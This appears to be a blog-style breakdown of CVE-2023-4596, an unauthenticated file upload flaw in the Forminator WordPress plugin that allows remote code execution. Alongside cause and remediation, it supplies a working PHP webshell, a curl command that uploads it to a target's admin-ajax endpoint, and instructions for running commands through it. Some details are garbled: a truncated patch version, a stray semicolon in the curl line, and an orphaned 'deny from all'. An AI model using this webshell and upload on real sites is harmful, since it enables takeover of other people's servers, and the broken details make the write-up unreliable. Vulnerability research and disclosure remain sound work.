CVE-2023-4596 - How Forminator’s File Upload Flaw Exposed WordPress Sites to Arbitrary File Uploads and Remote Code Execution

Forminator is a popular WordPress plugin, with over 400,000 active installations. It’s commonly used for building forms of all kinds, from contact forms to complex quizzes. In 2023, researchers discovered a critical security vulnerability, tracked as CVE-2023-4596, which allows *unauthenticated* attackers to upload any file type to the server––including executable scripts. This flaw can lead directly to remote code execution (RCE), potentially giving attackers full control of vulnerable WordPress sites.

Let's break down what happened, how it works, and what you should do if you use Forminator.

What Caused the Vulnerability?

The heart of the issue lies in Forminator’s image upload feature, specifically the upload_post_image() function. In versions up to and including 1.24.6, the plugin didn’t properly validate uploaded files. The check to make sure a file was safe (like making sure it's a JPEG or PNG) happened after the file was already placed on the server. That means a malicious actor could upload anything, including dangerous files like PHP scripts, to the web server.

File uploads are a huge attack vector.

- If an attacker uploads a PHP file to a WordPress site, and that file gets stored somewhere that the server can execute it, the attacker can take over the site.

Let’s look at a simplified flow of the vulnerable code in earlier Forminator versions

// Path: forminator/library/modules/custom-forms/front/front.php

public function upload_post_image() {
    // .. some processing ...
    $uploaded_file = $_FILES['file'];  // Grab the uploaded file

    // This is a problem: the file gets moved before full validation!
    // Save the file in the uploads/ directory
    move_uploaded_file($uploaded_file['tmp_name'], $upload_path . $uploaded_file['name']);

    // Only now does the plugin attempt to check the file type:
    $filetype = wp_check_filetype_and_ext($upload_path, $uploaded_file['name']);

    // But it's too late -- the malicious file is already on disk
    if ( ! in_array($filetype, array('jpg','png','gif')) ) {
        // ... try to clean up, but damage may already be done ...
    }
}

Find a vulnerable Forminator form on the target WordPress website.

2. Submit a form with a file upload field, sending a specially crafted malicious file (e.g., shell.php) instead of an image.
3. The server stores the file before checking its type. Even if Forminator tries to later delete the file if it turns out "bad," there are races and logic holes that often leave the file available.
4. Attacker accesses the uploaded file (like https://victim.com/wp-content/uploads/forminator/shell.php) in their browser, triggering the malicious code and gaining control of the site.

Proof-of-Concept (PoC) Exploit

Below you'll find a basic exploit script using curl. This sends a fake image upload, but actually sends a PHP webshell.

webshell.php

<?php
if (isset($_REQUEST['cmd'])) {
    echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
}
?>

Exploit using curl

curl -X POST "https://TARGETSITE.com/wp-admin/admin-ajax.php?action=forminator_upload_file"; \
  -F "file=@webshell.php;type=application/x-php" \
  -F "form_id=1"

If successful, you'll find your script at a location like
https://TARGETSITE.com/wp-content/uploads/forminator/your_upload/webshell.php
Now you can issue commands via:
https://TARGETSITE.com/wp-content/uploads/forminator/your_upload/webshell.php?cmd=whoami

Patched: September 12, 2023 (Version 1.25.)

- Patch Link: Forminator changelog at WordPress.org
- Details: Wordfence advisory
- Official CVE Record: NVD - CVE-2023-4596

The fix: The patch changes Forminator to validate the file *before* moving any upload to the server, and strictly allow only image types for image upload fields.

Any WordPress site with Forminator <= 1.24.6 is vulnerable!

- You don’t need to have file uploads enabled in all cases—just having the plugin with an accessible upload endpoint is enough.

Update Forminator immediately to 1.25. or later.

- Remove any unknown or suspicious files from your /wp-content/uploads/forminator/ directory.

deny from all

Final Thoughts

CVE-2023-4596 is a stunning example of how *when* you check user inputs can be even more important than *how* you check them. If you run a WordPress site, always keep plugins up to date and review your server for any strange files after an incident like this.

Stay safe out there!

For further reading, see the original advisories

- Forminator changelog
- Wordfence advisory
- NVD CVE-2023-4596

If you enjoyed this breakdown, feel free to share or bookmark for future reference.

Timeline

Published on: 08/30/2023 02:15:00 UTC
Last modified on: 09/01/2023 18:17:00 UTC